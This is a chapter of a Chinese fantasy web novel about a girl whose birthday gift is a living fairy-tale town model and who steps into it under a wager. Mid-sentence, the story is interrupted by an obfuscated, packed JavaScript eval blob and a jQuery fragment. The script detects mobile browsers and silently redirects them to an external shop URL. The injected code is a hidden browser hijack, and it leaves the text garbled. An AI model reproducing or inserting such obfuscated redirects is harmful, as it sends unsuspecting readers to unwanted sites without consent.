“哇噻哇噻......”
我不住地发出惊叹声,这简直不符合我内敛的淑女人设。
这个模型!!!
看似迷你可爱,实则完全形态。
闪烁着五彩玻璃的教堂,特色的古老钟楼之外,浪漫的田园风光亦随处可见——
爬满了常春藤的小屋子,以茅草为顶的旅馆,风吹草地现牛羊的丘陵......
欸?
眯起眼睛,我似乎发现了什么好玩的东西。
在一条两旁都是榆树和栅篱的漂亮街道上,好几个人拥在一个小摊前,正对着一条剖了腹的大鱼指指点点。
“快看,鱼肚子里面有个锡兵哩!”
喊话的那人果然从鱼胃里面掏出来个独腿锡兵。
这个锡兵身着笔挺军装,手握长枪,目视前方,表情庄重严肃,一点儿也不比真正的士兵差。
“不是谁都能承受这样的冒险!”
“看!真是个了不起的士兵......”
熟悉的称赞,这是《坚定的锡兵》中的剧情。
我饶有兴致地观察着。
没错,这个小镇是活的。
“宝贝,你似乎已经有了目标。”
男人没有看小镇模型,而是笑看着我。
“或许吧。”我抬头,眸子亮闪闪的,“你啥时候准备的?我的老baby!”
“有段日子了。”男人没有多说,一副深藏功与名的模样。
绕着小镇模型看了又看,心念一动,我跑去拿来浇花的长柄水壶,往小镇外的一片沙岭上浇洒上去。
果然,经过小镇上方的介质转化,那片荒漠竟然开始下起了雨。
花洒用力向下就是暴雨,平缓朝上些就是细雨。
我乐此不疲地调试着,男人却在此时轻咳一声。
“这是你的生日礼物,也是我们的赌约。”他说。
噫,生日礼物怎么能变成赌约的。
不过,有意思。
“你想让我和这场雨一样,进入这个小镇。”放下水壶,我语气笃定。
“你不想吗?”
“我想。”这是件很容易承认的事情,“只是——”
“赌约不会就是童话的真假吧,可这个童话小镇作为法力的产物,不就是假的吗?而童话又是它的子体….呐,这个赌约没有意义。”
我客观阐述。
“仁者见仁,智者见智。”男人有些好笑,“它可以是法力的产物,也可以是一个现实与童话世界的法力介质,嗯哼,你猜它是前者还是后者?”
“且说云端之上为神,云端之下为人,那么云端左、云端右、云端左上、云端右下诸如此,到底是否还有其它生灵的存在呢?而这也只是用以云端作区分,海洋也可以是,森林也可以是,黑暗与光明、时间与空间也可以是......一叶一世界,便是如此。”
“装什么!”我认真听完,却不置可否,“我才不管它一叶几w个世界的,我只知道这个小镇模型是你做的,所以对于它到底是法力产物还是空间介质,老东、老baby你不是最清楚吗?”
“童话世界到底存不存在,童话真假与否,你去了就知道。”男人摸了摸下巴。
“我......”去你的。
这话术,活像个骗子。
“别嘚嘚叫了,赌约到底是什么?”
见我脸色不善,男人赔笑道:
“先说赌注:你赢,我答应你一件事,反之亦然。”
“不具体点?”我反问。
“玩的就是心跳。”
“邀请制的心跳游戏?”我挑眉。
“或许吧。”他笑。
他爷爷的,学我说话。
思忖片刻,我点头,“成交!”
见到这个童话小镇模型的第一面,我必须承认,我动心了。
“赌约呢?”四下无事,我干脆说道,“我现在就能进去。”
男人一愣,“生日蛋糕我还没吃呢......”
见我瞪他,才反应过来,改口道:“生日蛋糕你还没切呢!”
“是啊,生日蛋糕我还没切给你吃呢~~~”我讥笑。
男人讪讪地摸了摸鼻头,这可是云端最好吃的阿嬷手作定制,排队之前要先叫号,叫号之前还得实名制预约哩!
不过片刻后,俩人着实没工夫讲话了。
埋头在奶油堆酣战完毕后,这才满意地直起腰来。
“奶油云,悠悠我心——”
我期待地看向他。
“樱桃红,轰趴带劲儿!”
男人紧张又期待地回望我。
“嗯......”我的嘴皮在上下打架,“好押!”
“等我出来了,再给我搂一顿。”
“得嘞您!”
男人再度谄媚一笑。
......
咚——咚——咚————
一记报时,一个交汇点。
钟声过零点时,我便正式16岁了!
16岁,一个不上不下的年纪。
此时此刻,16岁的我在为了一个小镇模型的玩具欣然若狂,可有些人的16岁却不得不担负起责任了。
我想起了那条纤薄的少年脊骨,它总是高傲又无所谓地耸着,可山峦崩压下,它还直得起来吗?
耳畔分明还是那最后一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849750|211800||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
记钟声,它浑厚如巨槌敲击大地,沉重而缓慢的音符在寒冷的夜空中荡开一圈圈无形的涟漪,将我穿透......
恍惚中,飘着的、荡着的我便感受到了脚底的支撑。
“嘶~”我打了个寒噤。
踩了踩脚下,这土真是冻得梆硬。
不过——
我弯腰欣慰拂去我不知道几年前的、某个季度的、若干节气上新的、非知名节日的购物节的、血拼满减咬牙凑单来的、踩屎感厚底加绒雪地靴上的......一粒灰。
终于是穿上了。
我长舒一口气。
再度忆起为了凑足那张大额消费券、呲着个大眼翻遍那张浅浅购物页面的心酸,我的眼眶竟有些湿润。
不过很快又诡异地得意起来。
看吧,我多会买,到底是养兵千日用兵一时!
只——
遥想到下一个迫在眉睫的购物节时,我忽的又打了个寒颤。
“被盯上了......”
“我的钱包到底是被盯上了......”
思维飞快跳转间,四顾只稀疏地坐落着几盏破旧路灯,在这样深邃的夜中很好地起到了一个陪伴的作用。
“嘿!哟——!”
“你就像那冬天里的一把火喔,一把火!”
这样荒废的郊路上自然不会有人,我自信开麦:
“熊熊火焰照亮了我!火火火!!”
“火——!”
“来——!”
热热闹闹地摇了半天花手,火球没召唤出来,手指与手指间倒是快摩擦出火星子了。
果然,法力消失了。
我与那场“花洒雨”一样,主体没有改变,只是于这个空间的形式客观化了起来。
我可以这样想,从外观上我被划分为普通人类,所以这个世界便封存了逻辑上一个人类不该拥有的东西。
拢了拢身上的灰色羊毛斗篷,尽量蓄住热歌热舞后留下的热量。
这是我特意挑选的符合当下时代与环境的“战袍”,保暖的同时进入小镇后也不会显得格格不入。
我开始沿着路灯渐亮的地方行进。
这里真是比云端冷得多太多,我扫过结了一层厚厚白霜的灯罩外壳。
牙齿嘎达嘎达地把随身包袱里的备用羽绒内胆也给穿上了。
还是不要考验这副身体的适应能力了,严冬凌晨刺骨的湿冷会比我想象中的更难捱。
法力消失、体质变弱的我这会就像一个真正的人类,一边哈白气,一边往袖子里怼手,顶着寒风艰难前行。
不过寒冷倒是容易让我提起精神的。
......